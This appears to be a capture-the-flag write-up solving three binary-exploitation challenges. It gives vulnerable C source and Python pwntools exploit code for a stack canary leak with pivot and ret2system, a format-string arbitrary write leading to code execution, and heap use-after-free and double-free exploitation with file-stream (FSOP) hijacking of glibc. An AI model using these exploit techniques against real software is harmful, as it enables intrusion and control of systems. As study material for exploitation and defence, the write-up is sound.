printf("Congrats for passing my first challenge, what's your name?\n> "); read(0, buf, 25); printf("\nOh, hi %s. Nice to meet you\n", buf); printf("This is my first year in uni, how 'bout you?\n> "); read(0, buf, 25); }
voidfunction2() { long numbers[10]; int c;
printf("What's the magic number?\n> "); scanf("%f", (float *)&c); getchar(); if (c == 147) function3(numbers); write(1, "I'm going to give you another chance to\nchange your numbers, what would you like to change it to\n> ", 99); read(0, (void *)&numbers[0], 96); write(1, "\nHaha just kidding, i'm out of ideas tbh...\n", 44); }
printf("Wow, i'm impressed you got it this far.\nYou should consider making a hacker name,\nyou know, the cool names hackers give themselves\n> "); read(0, hacker_name, 38);
printf("\nNow for the next part, please give me 10 integers plz\n> "); for (int i = 0; i < 10; ++i) scanf("%ld", &numbers[i]); getchar(); }
float guess; printf("What's your guess, buddy?\n> "); scanf("%f", &guess); getchar(); if (!(guess < random || guess > random)) function1();
float a; double b; printf("Now, give me two special numbers!\n> "); scanf("%f %lf", &a, &b); getchar(); if (a == 0 || b == 0) { printf("You're not allowed to input zero!\n"); exit(0); } if (strncmp((void *)&a, (void *)&b, 4) == 0) function2(); }
Using function1 to leak stack and canary then enter function2 to enter function3. Then in the function3 overflow to return to overwrite pivot address to stack + 0x8 that contain _start. After that just repeat to leak the libc and pivot it to our buffer to do ret2system
Solution
Given a binary file with chall and chall.c, when viewing the source code, there is a check to enter function1.
1 2 3 4
printf("What's your guess, buddy?\n> "); scanf("%f", &guess); getchar(); if (!(guess < random || guess > random)) function1();
To meet this requirement, you can provide the value nan which is neither greater nor less than the value because it is uncertain.
1
sla("> ", "nan")
1 2 3 4 5 6 7 8 9
voidfunction1() { char buf[16];
printf("Congrats for passing my first challenge, what's your name?\n> "); read(0, buf, 25); printf("\nOh, hi %s. Nice to meet you\n", buf); printf("This is my first year at university, how 'bout you?\n>"); read(0, buf, 25); }
In the function 1 we see there is an overflow and also store at the stack. So we can overflow to leak the canary and the stack first, then fix the canary to prevent stack smashing.
Next, we’ll ask for two inputs, where the values cannot be 0 and must be the same.
1 2 3 4 5 6 7 8
printf("Now, give me two special numbers!\n>"); scanf("%f %lf", &a, &b); getchar(); if (a == 0 || b == 0) { printf("You're not allowed to input zero!\n"); exit(0); } if (strncmp((void *)&a, (void *)&b, 4) == 0) function2();
Just give 1 1 and enter function2.
1
sla("> ", "1 1")
In function2 there is an overflow and also checking if c is equal to 147 goes to function3
1 2 3 4 5 6 7 8 9 10 11 12 13
voidfunction2() { long numbers[10]; int c;
printf("What's the magic number?\n> "); scanf("%f", (float *)&c); getchar(); if (c == 147) function3(numbers);
write(1, "I'm going to give you another chance to\nchange your numbers, what would you like to change it to\n> ", 99); read(0, (void *)&numbers[0], 96); write(1, "\nHaha just kidding, I'm out of ideas tbh...\n", 44); }
To enter function3 just input 147 in float with struct struct.unpack('!f', struct.pack('!I', 147))[0].
printf("Wow, I'm impressed you got it this far.\nYou should consider making a hacker name,\nyou know, the cool names hackers give themselves\n> "); read(0, hacker_name, 38);
printf("\nNow for the next part, please give me 10 integers plz\n> "); for (int i = 0; i < 10; ++i) scanf("%ld", &numbers[i]); getchar(); }
After providing input, it returns to function2 and asks for the last input. However, after input, the program terminates.
So, to get the program back, we can use the overflow in function3 to pivot at the exit, where stack + 0x8 contains _start.
Here i use “x” to skip the 10 integer number input. Then, at the last input, just fill it with canary 12 times (just to bypass the canary check).
1 2 3 4
target = stack + 0xd8#pivot to _start sa("> ", p64(canary)*4 + p64(target)[:6]) sa("> ", b"x") #So it fail and pass the scanf function sa("> ", p64(canary)*12) # just need the 96 = canary, this is for easier
After that, we just repeat the input as before and enter function1 to leak libc. Then, just enter function2 and pivot the address to the input numbers so that when ret is read, it can be RIP, which will be filled with ret2system.
with log.progress("Overwrite and pivot to _start"), context.silent: sla("> ", "1 1") bits = 147 payload = struct.unpack('!f', struct.pack('!I', bits))[0] sla("> ", str(payload).encode()) sa("> ", p64(canary)*4 + p64(target)[:6]) sa("> ", b"x") #So it fail and pass the scanf function sa("> ", p64(canary)*12) # just need the 96 = canary this is for easier
Use format strings to overwrite return address at printf to main while leaking libc address. Then make function to write return address to main while write 2 bytes and combine it to gain write 8 bytes. After that just use www2exec via initial mangled pointer and overwrite the return address to exit.
Solution
Given an a.out and a Dockerfile, I first grabbed libc and ld from the Dockerfile, then pwninit for patching and stripping to get symbols. After that, i decompiled it and saw that there was a format string in main.
If you look at the input using fgets, fgets accepts nullbytes, but when printf it stops at nullbytes. So, our input structure must first format the strings and then the target address. To find the offset, you can input AAAABBBB%{num}$p.
So, my idea here is to overwrite the printf return address to main while leaking libc. Then, for the second input, we can write 2 bytes, then return to main and combine them to get an 8-byte write. To ensure the input matches, simply look at the target address and calculate the offset.
For this example i use write to libc.bss() -> 0.
1 2 3 4 5 6 7 8 9 10 11
defwrite2bytes(target, value): ru("0x") stack = int(r(12),16) ret = stack - 0x18# Updating next ret offset = 8 payload = f"%{0x7a}c%{offset+4}$hhn%{(u16(value) + 0xff86) & 0xffff}c%{offset+5}$hn".encode().ljust(0x20, b"\x00") + p64(ret) + p64(target) sl(payload)
defwrite(target, value): for i inrange(0, len(value), 2): write2bytes(target + i, value[i:i+2])
For the exploitation idea, I used the 6th technique in WWW2Exec
defwrite(target, value): for i inrange(0, len(value), 2): write2bytes(target + i, value[i:i+2])
defexploit(): global io io = initialize() offset = 8 with log.progress("Overwrite ret to main + 1 and leak libc"), context.silent: stack = int(r(14),16) ret = stack - 0x18 sl(f"%{0x7a}c%{offset+3}$hhn.%1$p".encode().ljust(24, b"\x00") + p64(ret)) #Overwrite ru("0x")
leak("Stack", hex(stack)) leak("Return Address", hex(ret)) with log.progress("Calculating the libc and tls"), context.silent: libc_leak = int(r(12),16) libc.address = libc_leak - (libc.sym["_IO_2_1_stdin_"] +0x83) if args.DOCKER or args.REMOTE: tls = libc.address - 0x3000 else: tls = libc.address + 0x30d000 cookie = tls + 0x770
Leak heap with uaf and libc by getting fastbin move to smallbins using scanf, then create fake fp and use house of plastic cake to get fastbin dup to _IO_list_all where inputed our fake fp address. After that just call exit to fsop.
Solution
Given an a.out and a Dockerfile, I first grabbed libc and ld from the Dockerfile, then used pwninit to patch and strip the symbols. After that, I decompiled it and saw a menu in main.
free(chunk[idx]) but doesn’t null it, so it gets a double free.
displays the contents of idx.
So, to exploit this, we first leak the heap, then libc by using one of scanf unique features when we provide 1024 bytes of input, scanf will move the fastbin to smallbin.
1 2 3 4 5 6 7 8 9 10 11 12
for i inrange(9): alloc(i, b"\x00") for i inreversed(range(7)): free(i) free(7) sla(": ", b"4".rjust(1024, b"0")) # Using scanf to move fastbin to smallbins sla(": ", str(7).encode()) libc_leak = u64(ru('a -').ljust(8, b"\x00")) libc.address = libc_leak - (libc.sym["main_arena"] + 160) views(6) heap_leak = u64(ru('a -').ljust(8, b"\x00")) << 12 heap = heap_leak & ~0xfff
After leaking libc, I created a fake fp that will be used when exit. The fake FP contains the following FSOP
Next, I cleared the bins and performed a house of plastic cake operation, filling the tcache and then fastbin dup. The target is _IO_list_all, which we will fill with our fp, and then just call exit.
defexploit(): global io io = initialize() with log.progress("Leak heap & libc"), context.silent: for i inrange(9): alloc(i, b"\x00") for i inreversed(range(7)): free(i) free(7) sla(": ", b"4".rjust(1024, b"0")) # Using scanf to move fastbin to smallbins sla(": ", str(7).encode()) libc_leak = u64(ru('a -').ljust(8, b"\x00")) libc.address = libc_leak - (libc.sym["main_arena"] + 160) view(6) heap_leak = u64(ru('a -').ljust(8, b"\x00")) << 12 heap = heap_leak & ~0xfff
leak("Heap leak", hex(heap_leak)) leak("Heap base address", hex(heap)) leak("Libc leak", hex(libc_leak)) leak("Libc base address", hex(libc.address)) with log.progress("Prepare fake fp to FSOP"), context.silent: fp = heap + 0x2a0 payload = fsrop(fp) alloc(0, payload[:0x40]) alloc(1, payload[0x50:0x50+0x40]) alloc(2, payload[0xa0:0xa0+0x40])
with log.progress("Clean the bins"), context.silent: for i inrange(8): alloc(i, b"\x00")
with log.progress("House of plastic cake"), context.silent: for i inreversed(range(7)): free(i) # Fastbin dup free(7) # Victim free(8) free(7) # Double free for i inrange(7): alloc(i, b"\x00")